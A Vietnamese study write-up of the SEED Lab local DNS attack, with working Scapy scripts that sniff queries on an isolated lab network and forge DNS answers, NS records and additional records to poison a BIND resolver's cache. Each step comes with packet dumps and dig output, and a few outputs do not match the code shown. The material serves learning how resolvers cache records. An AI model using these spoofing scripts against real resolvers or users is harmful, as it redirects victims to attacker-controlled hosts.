Environment Setup
Chúng ta sẽ thiết lập một DNS server cho riêng mình rồi tấn công.
Cần sử dụng 4 máy: một cho nạn nhân, một cho local DNS server1, một cho kẻ tấn công và một cho nameserver của kẻ tấn công. Tất cả đều nằm trong cùng một LAN.
Attacker container sử dụng network_mode: host
để lắng nghe traffic của các máy trong LAN.
DNS Configuration
Local DNS Server: sử dụng chương trình BIND 9 DNS, lấy cấu hình từ file /etc/bind/named.conf
. Đây là file cấu hình chính chứa các include
entry:
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
zone "attacker32.com" {
type forward;
forwarders {
10.9.0.153;
};
};
Các cấu hình thực sự sẽ nằm trong các entry đó. Một trong số những file được bao gồm là /etc/bind/named.conf.options
:
options {
directory "/var/cache/bind";
// If there is a firewall between you and nameservers you want
// to talk to, you may need to fix the firewall to allow multiple
// ports to talk. See http://www.kb.cert.org/vuls/id/800113
// If your ISP provided one or more IP addresses for stable
// nameservers, you probably want to use them as forwarders.
// Uncomment the following block, and insert the addresses replacing
// the all-0's placeholder.
// forwarders {
// 0.0.0.0;
// };
//========================================================================
// If BIND logs error messages about the root key being expired,
// you will need to update your keys. See https://www.isc.org/bind-keys
//========================================================================
// ---------------------------------------
// Added/Modified for SEED labs
// dnssec-validation auto;
dnssec-validation no;
dnssec-enable no;
dump-file "/var/cache/bind/dump.db";
query-source port 33333;
// Access control
allow-query { any; };
allow-query-cache { any; };
allow-recursion { any; };
// ---------------------------------------
listen-on-v6 { any; };
};
Tóm tắt các cấu hình:
-
Ngày nay, các DNS server chọn ngẫu nhiên source port number cho các câu truy vấn DNS (DNS question) nhằm khiến cho việc tấn công khó khăn hơn. Chúng ta sẽ gán cứng source port number là 33333 để đơn giản hóa việc tấn công.
-
DNSSEC được dùng để chống lại các spoofing attack. Ta sẽ tắt tính năng này đi.
-
File dump của DNS cache là
/var/cache/bind/dump.db
. Có thể sử dụng công cụrdnc
(Remote Name Daemon Control) để tương tác với DNS cache:# rndc dumpdb -cache // Dump the cache to the specified file # rndc flush // Flush the DNS cache
-
Bất cứ khi nào có DNS question đến domain
attacker32.com
thì chúng ta sẽ chuyển hướng đến attacker nameserver ở địa chỉ10.9.0.153
.zone "attacker32.com" { type forward; forwarders { 10.9.0.153; }; };
User machine: đã được cấu hình để sử dụng 10.9.0.53
làm local DNS server thông qua file /etc/resolv.conf
:
nameserver 10.9.0.53
Attacker’s nameserver: có 2 domain. Một là domain hợp lệ attacker32.com
của attacker và một là domain giả mạo example.com
:
zone "attacker32.com" {
type master;
file "/etc/bind/zone_attacker32.com";
};
zone "example.com" {
type master;
file "/etc/bind/zone_example.com";
};
Các cấu hình trên được đặt trong file /etc/bind/named.conf
tương tự như local DNS server.
Info
Domain
example.com
có IP là93.184.216.34
. Nameserver của nó được quản lý bởi Internet Corporation for Assigned Names and Numbers (ICANN).
Testing the DNS Setup
Get the IP address of ns.attacker32.com
: chạy câu lệnh dig
sau:
docker exec -it user-10.9.0.5 dig ns.attacker32.com
Câu lệnh này sẽ được local DNS server forward đến attacker nameserver và câu trả lời mà ta nhận được sẽ phụ thuộc vào nội dung của zone file zone_attacker32.com
:
$TTL 3D
@ IN SOA ns.attacker32.com. admin.attacker32.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.attacker32.com.
@ IN A 10.9.0.180
www IN A 10.9.0.180
ns IN A 10.9.0.153
* IN A 10.9.0.100
Cụ thể, domainns.attacker32.com
sẽ được phân giải thành 10.9.0.153
trong câu trả lời DNS (DNS answer):
$ docker exec -it user-10.9.0.5 dig ns.attacker32.com
; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24366
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 0bb00eaecb2ef7290100000066418248f276d111a4b6ddae (good)
;; QUESTION SECTION:
;ns.attacker32.com. IN A
;; ANSWER SECTION:
ns.attacker32.com. 259059 IN A 10.9.0.153
;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon May 13 03:00:24 UTC 2024
;; MSG SIZE rcvd: 90
Get the IP address of www.example.com
: có hai nameserver host domain example.com
. Một là nameserver chính chủ và một là attacker nameserver.
Thử gửi DNS question đến local DNS server:
docker exec -it user-10.9.0.5 dig www.example.com
Local DNS server sẽ chuyển tiếp DNS question đến nameserver chính chủ của example.com
. Answer mà ta nhận được là:
$ docker exec -it user-10.9.0.5 dig www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33374
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: b80ef193aff502f801000000664187437ff29b93d743c213 (good)
;; QUESTION SECTION:
;www.example.com. IN A
;; ANSWER SECTION:
www.example.com. 3600 IN A 93.184.215.14
;; Query time: 999 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon May 13 03:21:39 UTC 2024
;; MSG SIZE rcvd: 88
Thử gửi DNS question đến attacker nameserver:
docker exec -it user-10.9.0.5 dig @ns.attacker32.com www.example.com
Answer mà ta nhận được là địa chỉ IP 1.2.3.5
:
$ docker exec -it user-10.9.0.5 dig @ns.attacker32.com www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40393
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a6ad9e29beecf92a010000006641879979eea2ffa9233cfa (good)
;; QUESTION SECTION:
;www.example.com. IN A
;; ANSWER SECTION:
www.example.com. 259200 IN A 1.2.3.5
;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Mon May 13 03:23:05 UTC 2024
;; MSG SIZE rcvd: 88
Địa chỉ IP này được khai báo ở trong zone file zone_example.com
của attacker nameserver:
$TTL 3D
@ IN SOA ns.example.com. admin.example.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.attacker32.com.
@ IN A 1.2.3.4
www IN A 1.2.3.5
ns IN A 10.9.0.153
* IN A 1.2.3.6
Hiển nhiên, không ai dùng nameserver ns.attacker32.com
để phân giải domain www.example.com
và đây chính là mục tiêu của attacker. Nếu tấn công thành công, khi dùng câu lệnh dig
mà không chỉ định nameserver, địa chỉ IP của www.example.com
sẽ là 1.2.3.5
.
Task 1: Directly Spoofing Response to User
Để điều hướng người dùng đến máy B khi họ phân giải tên miền của máy A. chúng ta cần tạo ra gói tin DNS answer giả mạo rồi gửi đến nạn nhân sớm hơn local DNS server. Kiểu tấn công này được gọi là DNS spoofing.
Cấu trúc gói tin DNS trong Scapy:
>>> ls(DNS)
length : ShortField (Cond) = ('None')
id : ShortField = ('0')
qr : BitField (1 bit) = ('0')
opcode : BitEnumField = ('0')
aa : BitField (1 bit) = ('0')
tc : BitField (1 bit) = ('0')
rd : BitField (1 bit) = ('1')
ra : BitField (1 bit) = ('0')
z : BitField (1 bit) = ('0')
ad : BitField (1 bit) = ('0')
cd : BitField (1 bit) = ('0')
rcode : BitEnumField = ('0')
qdcount : DNSRRCountField = ('None')
ancount : DNSRRCountField = ('None')
nscount : DNSRRCountField = ('None')
arcount : DNSRRCountField = ('None')
qd : DNSQRField = ('\x1b[0m<\x1b[0m\x1b[31m\x1b[1mDNSQR\x1b[0m \x1b[0m|\x1b[0m\x1b[0m>\x1b[0m')
an : DNSRRField = ('None')
ns : DNSRRField = ('None')
ar : DNSRRField = ('None')
Với DNSQR
có các thuộc tính sau:
class DNSQR(Packet):
name = "DNS Question Record"
fields_desc = [ DNSStrField("qname",""),
ShortEnumField("qtype", 1, dnsqtypes),
ShortEnumField("qclass", 1, dnsclasses) ]
DNSQR
là lớp đại diện cho một DNS question record (một gói tin DNS question sẽ có một hoặc nhiều DNS question record1).
Còn DNSRR
là lớp đại diện cho DNS resource record có trong gói tin DNS answer. Lớp này có các thuộc tính sau:
class DNSRR(InheritOriginDNSStrPacket):
name = "DNS Resource Record"
show_indent = 0
fields_desc = [DNSStrField("rrname", ""),
ShortEnumField("type", 1, dnstypes),
ShortEnumField("rclass", 1, dnsclasses),
IntField("ttl", 0),
FieldLenField("rdlen", None, length_of="rdata", fmt="H"),
MultipleTypeField(
[
# A
(IPField("rdata", "0.0.0.0"),
lambda pkt: pkt.type == 1),
# AAAA
(IP6Field("rdata", "::"),
lambda pkt: pkt.type == 28),
# NS, MD, MF, CNAME, PTR
(DNSStrField("rdata", "",
length_from=lambda pkt: pkt.rdlen),
lambda pkt: pkt.type in [2, 3, 4, 5, 12]),
# TEXT
(DNSTextField("rdata", [],
length_from=lambda pkt: pkt.rdlen),
lambda pkt: pkt.type == 16),
],
StrLenField("rdata", "",
length_from=lambda pkt:pkt.rdlen)
)]
Ta sẽ lắng nghe các gói tin UDP gửi đến port 53:
myFilter = f"udp and dst port 53"
pkt = sniff(iface="br-dc64fd8b10c0", filter=myFilter, prn=spoof_dns)
Callback spoof_dns
sẽ chỉ xử lý nếu gói tin nó có layer DNS và có example.com
ở trong Name của DNS question record:
NS_NAME = "example.com"
# ...
def spoof_dns(pkt):
if DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode("utf-8"):
print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
Info
qd
là viết tắt của query domain và nó là trường chứa DNS question record.
Xây dựng hàm để gửi gói tin DNS answer giả mạo:
from scapy.layers.inet import IP, UDP
from scapy.layers.dns import DNS, DNSRR
def spoof_dns(pkt):
if DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode("utf-8"):
print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
ip = IP(src=LOCAL_DNS_SERVER_IP, dst=pkt[IP].src)
udp = UDP(sport=53, dport=pkt[UDP].sport)
dnsrr = DNSRR(
rrname=pkt[DNS].qd.qname,
type=pkt[DNS].qd.qtype,
rclass=pkt[DNS].qd.qclass,
ttl=86400,
rdata="10.9.0.153",
)
dns = DNS(
id=pkt[DNS].id,
qr=1,
qdcount=1,
ancount=1,
qd=pkt[DNS].qd,
an=dnsrr,
)
spoofpkt = ip / udp / dns
send(spoofpkt, verbose=0)
Phân tích hàm trên:
- IP header: source IP là của local DNS server.
- UDP header): source port là 53. Đây là port của giao thức DNS.
- DNS resource record (
dnsrr
):- Name (
rrname
), Type và Class (rclass
) tương tự với DNS question (Type 1 tương ứng vớiA
còn Class 1 tương ứng vớiIN
). - Payload là địa chỉ IP của attacker nameserver.
- Name (
- Gói tin DNS answer:
- ID và DNS question record (
qd
) giống gói tin DNS question. - QR là 1 cho biết rằng đây là gói tin DNS answer.
- QDCOUNT là 1 cho biết có 1 question.
- ANCOUNT là 1 cho biết có 1 answer.
- DNS resource record (
an
) là gói tindnsrr
.
- ID và DNS question record (
Note
Chú ý là ta cần phải xóa DNS cache của local DNS server trước khi tấn công. Bởi vì nếu không, gói tin DNS answer từ local DNS server sẽ trả về cho người dùng nhanh hơn gói tin DNS answer giả mạo của chúng ta.
Chạy script trên attacker container và thực hiện phân giải domain example.com
trên máy của người dùng:
root@archlinux:/volumes# python3 dns-poisoning.py
root@e04030570d1e:/# dig example.com
Script thu được gói tin DNS question có record sau:
10.9.0.5 --> 10.9.0.53: 50299
\qd \
|###[ DNS Question Record ]###
| qname = 'example.com.'
| qtype = A
| qclass = IN
Gói tin DNS answer giả mạo gửi đi có các record sau:
10.9.0.53 --> 10.9.0.5: 50299
\qd \
|###[ DNS Question Record ]###
| qname = 'example.com.'
| qtype = A
| qclass = IN
\an \
|###[ DNS Resource Record ]###
| rrname = 'example.com.'
| type = A
| rclass = IN
| ttl = 86400
| rdlen = None
| rdata = 10.9.0.153
Output của câu lệnh dig
hiển thị trong terminal của người dùng cho thấy ta đã tấn công thành công:
root@e04030570d1e:/# dig example.com
; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50299
;; flags: qr rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;example.com. IN A
;; ANSWER SECTION:
example.com. 86400 IN A 10.9.0.153
;; Query time: 123 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon May 13 07:06:39 UTC 2024
;; MSG SIZE rcvd: 56
Task 2: DNS Cache Poisoning Attack – Spoofing Answers
Đối với cách tấn công trên, attacker cần phải gửi gói tin DNS answer giả mạo mỗi lần người dùng thực hiện phân giải tên miền. Điều này khá bất tiện. Thay vào đó, chúng ta có thể nhắm vào local DNS server.
Như đã biết, khi local DNS server nhận được gói tin DNS question, nó sẽ kiểm tra DNS cache. Nếu có một entry khớp với tên miền mà người dùng đang phân giải thì nó sẽ trả về. Ngược lại, nó sẽ gửi gói tin DNS question đến các DNS server khác. Khi local DNS server nhận được answer, nó sẽ lưu vào cache.
Minh họa:
Nếu chúng ta có thể làm giả các gói tin DNS answer trả về từ các DNS server khác thì chúng ta có thể thao túng DNS cache của local DNS server. Bất cứ khi nào người dùng phân giải tên miền, local DNS server sẽ trả về entry giả mạo mà ta đã thêm vào. Đây được gọi là tấn công DNS cache poisoning và cách tấn công này hiệu quả hơn do chúng ta chỉ cần làm 1 lần đến khi nào entry ở trong cache hết hạn.
Xóa cache của local DNS server:
rndc flush
Sau đó, viết chương trình để lắng nghe các gói tin DNS question từ local DNS server và DNS answer gửi đến local DNS server:
from scapy.all import *
NS_NAME = "example.com"
LOCAL_DNS_SERVER_IP = "10.9.0.53"
def spoof_dns(pkt):
if DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode("utf-8"):
print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
pkt.show()
myFilter = f"udp and ((ip src {LOCAL_DNS_SERVER_IP} and dst port 53) or (ip dst {LOCAL_DNS_SERVER_IP} and src port 53))"
pkt = sniff(iface="br-dc64fd8b10c0", filter=myFilter, prn=spoof_dns)
Khi user container thực hiện phân giải tên miền example.com
, các gói tin DNS question và DNS answer:
root@archlinux:/volumes# python3 dns-cache-poisoning.py
10.9.0.53 --> 192.33.14.30: 56586
192.33.14.30 --> 10.9.0.53: 56586
10.9.0.53 --> 199.43.135.53: 12551
199.43.135.53 --> 10.9.0.53: 12551
Gói tin DNS answer đầu tiên có các record như sau:
\qd \
|###[ DNS Question Record ]###
| qname = 'example.com.'
| qtype = A
| qclass = IN
an = None
\ns \
|###[ DNS Resource Record ]###
| rrname = 'example.com.'
| type = NS
| rclass = IN
| ttl = 172800
| rdlen = None
| rdata = 'a.iana-servers.net.'
|###[ DNS Resource Record ]###
| rrname = 'example.com.'
| type = NS
| rclass = IN
| ttl = 172800
| rdlen = None
| rdata = 'b.iana-servers.net.'
Có thể thấy, DNS server ở địa chỉ IP 192.33.14.30
đã chuyển hướng local DNS server đến tên miền a.iana-servers.net
và b.iana-servers.net
. Tất nhiên, local DNS server sẽ gửi gói tin DNS question để phân giải tên miền a.iana-servers.net
(nó sử dụng tên miền đầu tiên). Địa chỉ IP mà nó phân giải được là 199.43.135.53
.
Cuối cùng, local DNS server gửi gói tin DNS question đến a.iana-servers.net
để phân giải tên miền example.com
. Gói tin DNS answer mà nó nhận được có các record sau:
\qd \
|###[ DNS Question Record ]###
| qname = 'example.com.'
| qtype = A
| qclass = IN
\an \
|###[ DNS Resource Record ]###
| rrname = 'example.com.'
| type = A
| rclass = IN
| ttl = 3600
| rdlen = None
| rdata = 93.184.215.14
Summary
Như vậy, mục tiêu của ta là làm giả gói tin DNS answer cuối cùng này khi bắt được gói tin DNS question.
Trước tiên, ta sửa filter lại như sau:
myFilter = f"udp and ip src {LOCAL_DNS_SERVER_IP} and dst port 53"
Filter trên sẽ lọc các gói tin DNS question (port 53) được gửi từ local DNS server.
Sử dụng lại hàm spoof_dns()
ở Task 1 Directly Spoofing Response to User và thay đổi IP header thành như sau:
ip = IP(src=pkt[IP].dst, dst=LOCAL_DNS_SERVER_IP)
Chạy script và rồi thực hiện phân giải tên miền ở trên user container, ta thu được gói tin DNS question từ local DNS server có DNS question record sau:
10.9.0.53 --> 192.41.162.30: 16126
\qd \
|###[ DNS Question Record ]###
| qname = 'example.com.'
| qtype = A
| qclass = IN
Gói tin DNS answer giả mạo có các record sau:
\qd \
|###[ DNS Question Record ]###
| qname = 'example.com.'
| qtype = A
| qclass = IN
\an \
|###[ DNS Resource Record ]###
| rrname = 'example.com.'
| type = A
| rclass = IN
| ttl = 65536
| rdlen = None
| rdata = 10.9.0.153
Output ở bên người dùng cho thấy ta đã tấn công thành công:
root@e04030570d1e:/# dig example.com
; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2386
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9f52b3950b6b13d9010000006641eaa8a1179962454d7ae6 (good)
;; QUESTION SECTION:
;example.com. IN A
;; ANSWER SECTION:
example.com. 65536 IN A 10.9.0.153
;; Query time: 509 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon May 13 10:25:44 UTC 2024
;; MSG SIZE rcvd: 84
Thử gọi lại lệnh dig
thì IP của example.com
vẫn như cũ.
Kiểm tra DNS cache của local DNS server:
root@55f9fff206a3:/# cat /var/cache/bind/dump.db | grep example.com
example.com. 669999 A 10.9.0.153
Task 3: Spoofing NS Records
Trong các tấn công trước, chúng ta chỉ nhắm vào một domain là www.example.com
. Nếu người dùng phân giải IP của domain khác chẳng hạn như mail.example.com
thì ta sẽ phải tấn công lại lần nữa. Để hiệu quả hơn, chúng ta có thể tấn công vào domain example.com
và các subdomain của nó.
Ý tưởng: khi tạo ra gói tin DNS answer giả mạo, ngoài DNS resource record, chúng ta thêm vào NS record2 sau:
example.com IN NS ns.attacker32.com
Khi record này được cache bởi local DNS sever, ns.attacker32.com
sẽ được dùng như là nameserver để phân giải domain example.com
.
Ta vẫn dùng filter của Task 2 DNS Cache Poisoning Attack – Spoofing Answers:
myFilter = f"udp and ip src {LOCAL_DNS_SERVER_IP} and dst port 53" # DNS cache poisoning
Xây dựng gói tin DNS answer như sau:
NS_NAME = "example.com"
LOCAL_DNS_SERVER_IP = "10.9.0.53"
ATTACKER_NAMESERVER_IP = "10.9.0.153"
ATTACKER_NAMESERVER = "ns.attacker32.com"
# ...
dnsrr = DNSRR(
rrname=pkt[DNS].qd.qname, type="A", ttl=259200, rdata=ATTACKER_NAMESERVER_IP
)
ns = DNSRR(rrname=NS_NAME, type="NS", ttl=259200, rdata=ATTACKER_NAMESERVER)
dns = DNS(
id=pkt[DNS].id,
aa=1, # This is an authoritative response
rd=0,
qr=1,
qdcount=1,
ancount=1,
nscount=1,
qd=pkt[DNS].qd,
an=dnsrr,
ns=ns,
)
# ...
Gói tin DNS answer giả mạo có các record sau:
\qd \
|###[ DNS Question Record ]###
| qname = 'example.com.'
| qtype = A
| qclass = IN
\an \
|###[ DNS Resource Record ]###
| rrname = 'example.com.'
| type = A
| rclass = IN
| ttl = 259200
| rdlen = None
| rdata = 10.9.0.153
\ns \
|###[ DNS Resource Record ]###
| rrname = 'example.net.'
| type = NS
| rclass = IN
| ttl = 259200
| rdlen = None
| rdata = 'ns.attacker32.com.'
Output ở terminal của người dùng cho thấy ta đã tấn công thành công:
root@e04030570d1e:/# dig example.com
; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39850
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: c79aaa8c3911f08f010000006641f1f9ba5431ec50a0ffe3 (good)
;; QUESTION SECTION:
;example.com. IN A
;; ANSWER SECTION:
example.com. 259200 IN A 10.9.0.153
;; Query time: 263 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon May 13 10:56:57 UTC 2024
;; MSG SIZE rcvd: 84
Thử phân giải mail.example.com
:
root@4d15498252b7:/# dig mail.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2668
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: bd4475e5d12382fd01000000664207a3fd9273d3cc007571 (good)
;; QUESTION SECTION:
;mail.example.com. IN A
;; ANSWER SECTION:
mail.example.com. 259200 IN A 1.2.3.6
;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon May 13 12:29:23 UTC 2024
;; MSG SIZE rcvd: 89
Các entry ở trong DNS cache liên quan đến example.com
root@f7126c45e4e2:/# cat /var/cache/bind/dump.db | grep example.com
example.com. 863932 NS ns.attacker32.com.
mail.example.com. 863979 A 1.2.3.6
Task 4: Spoofing NS Records for Another Domain
Chúng ta có thể thêm vào các NS record giả mạo để phân giải các domain khác ngoài example.com
chẳng hạn như google.com
.
google.com IN NS ns.attacker32.com
Thêm vào gói tin DNS answer một NS record mới như sau:
NS_NAME = "example.com"
GOOGLE_NS_NAME = "google.com"
LOCAL_DNS_SERVER_IP = "10.9.0.53"
ATTACKER_NAMESERVER_IP = "10.9.0.153"
ATTACKER_NAMESERVER = "ns.attacker32.com"
# ...
dnsrr = DNSRR(
rrname=pkt[DNS].qd.qname, type="A", ttl=259200, rdata=ATTACKER_NAMESERVER_IP
)
ns1 = DNSRR(rrname=NS_NAME, type="NS", ttl=259200, rdata=ATTACKER_NAMESERVER)
ns2 = DNSRR(rrname=GOOGLE_NS_NAME, type="NS", ttl=259200, rdata=ATTACKER_NAMESERVER)
dns = DNS(
id=pkt[DNS].id,
aa=1, # This is an authoritative response
rd=0,
qr=1,
qdcount=1,
ancount=1,
nscount=2,
qd=pkt[DNS].qd,
an=dnsrr,
ns=ns1 / ns2,
)
# ...
Chạy script rồi thực hiện phân giải domain example.com
trên user container.
Gói tin DNS answer giả mạo có các record sau:
\qd \
|###[ DNS Question Record ]###
| qname = 'example.com.'
| qtype = A
| qclass = IN
\an \
|###[ DNS Resource Record ]###
| rrname = 'example.com.'
| type = A
| rclass = IN
| ttl = 259200
| rdlen = None
| rdata = 10.9.0.153
\ns \
|###[ DNS Resource Record ]###
| rrname = 'example.com.'
| type = NS
| rclass = IN
| ttl = 259200
| rdlen = None
| rdata = 'ns.attacker32.com.'
|###[ DNS Resource Record ]###
| rrname = 'google.com.'
| type = NS
| rclass = IN
| ttl = 259200
| rdlen = None
| rdata = 'ns.attacker32.com.'
DNS cache của local DNS server:
root@f7126c45e4e2:/# cat /var/cache/bind/dump.db | grep example.com
example.com. 863986 NS ns.attacker32.com.
root@f7126c45e4e2:/# cat /var/cache/bind/dump.db | grep google.com
root@f7126c45e4e2:/#
Có thể thấy, không có entry nào liên quan đến google.com
.
Summary
NS record chỉ được lưu vào DNS cache nếu như domain có trong Answer Section.
Task 5: Spoofing Records in the Additional Section
Trong các gói tin DNS answer, có một phần gọi là Additional Section. Phần này thường được dùng để cung cấp địa chỉ IP cho các domain, đặc biệt là các domain xuất hiện trong Authority Section dưới dạng data.
Mục tiêu của task này là thêm một số record giả mạo vào Additional Section và xem thử local DNS server có cache chúng hay không. Cụ thể, khi phản hồi lại gói tin DNS query cho tên miền example.com
, chúng ta sẽ thêm vào các record sau:
;; AUTHORITY SECTION:
example.com. 259200 IN NS ns.attacker32.com.
example.com. 259200 IN NS ns.example.com.
;; ADDITIONAL SECTION:
ns.attacker32.com. 259200 IN A 1.2.3.4 (1)
ns.example.net. 259200 IN A 5.6.7.8 (2)
www.facebook.com. 259200 IN A 3.4.5.6 (3)
Với record 1 và 2 liên quan đến các domain trong Authority Section. Entry 3 hoàn toàn không liên quan.
Xây dựng gói tin DNS answer:
# The Answer Section
dnsrr = DNSRR(rrname=pkt[DNS].qd.qname, type="A", ttl=259200, rdata=ATTACKER_NAMESERVER_IP)
# The Authority Section
ns1 = DNSRR(rrname=NS_NAME, type="NS", ttl=259200, rdata="ns.attacker32.com")
ns2 = DNSRR(rrname=NS_NAME, type="NS", ttl=259200, rdata="ns.example.com")
# The Additional Section
addrr1 = DNSRR(rrname="ns.attacker32.com", type="A", ttl=259200, rdata="1.2.3.4")
addrr2 = DNSRR(rrname="ns.example.com", type="A", ttl=259200, rdata="5.6.7.8")
addrr3 = DNSRR(rrname="www.facebook.com", type="A", ttl=259200, rdata="3.4.5.6")
# Construct the DNS packet
dns = DNS(
id=pkt[DNS].id,
aa=1, # This is an authoritative response
rd=0,
qr=1,
qdcount=1,
ancount=1,
nscount=2,
arcount=3,
qd=pkt[DNS].qd,
an=dnsrr,
ns=ns1 / ns2,
ar=addrr1 / addrr2 / addrr3,
)
Chạy script và thực hiện phân giải domain example.com
ở trên user container. Gói tin DNS answer giả mạo có các record sau:
\qd \
|###[ DNS Question Record ]###
| qname = 'example.com.'
| qtype = A
| qclass = IN
\an \
|###[ DNS Resource Record ]###
| rrname = 'example.com.'
| type = A
| rclass = IN
| ttl = 259200
| rdlen = None
| rdata = 10.9.0.153
\ns \
|###[ DNS Resource Record ]###
| rrname = 'example.com.'
| type = NS
| rclass = IN
| ttl = 259200
| rdlen = None
| rdata = 'ns.attacker32.com.'
|###[ DNS Resource Record ]###
| rrname = 'example.com.'
| type = NS
| rclass = IN
| ttl = 259200
| rdlen = None
| rdata = 'ns.example.com.'
\ar \
|###[ DNS Resource Record ]###
| rrname = 'ns.attacker32.com.'
| type = A
| rclass = IN
| ttl = 259200
| rdlen = None
| rdata = 1.2.3.4
|###[ DNS Resource Record ]###
| rrname = 'ns.example.com.'
| type = A
| rclass = IN
| ttl = 259200
| rdlen = None
| rdata = 5.6.7.8
|###[ DNS Resource Record ]###
| rrname = 'www.facebook.com.'
| type = A
| rclass = IN
| ttl = 259200
| rdlen = None
| rdata = 3.4.5.6
DNS cache của local DNS server:
root@9618b19b4d32:/# cat /var/cache/bind/dump.db | grep example.com
example.com. 863964 NS ns.example.com.
ns.example.com. 863964 A 5.6.7.8
root@9618b19b4d32:/# cat /var/cache/bind/dump.db | grep attacker32.com
ns.attacker32.com. 863964 A 1.2.3.4
863964 NS ns.attacker32.com.
root@9618b19b4d32:/# cat /var/cache/bind/dump.db | grep facebook.com
root@9618b19b4d32:/#
Không hề có entry nào liên quan đến www.facebook.com
hoặc facebook.com
.
Summary
Các record trong Additional Section chỉ được lưu vào DNS cache nếu domain có trong các NS record.
Related
list
from outgoing([[SEED Lab - Local DNS Attack]])
sort file.ctime asc
Resources
Footnotes
-
xem thêm DNS Structure. ↩ ↩2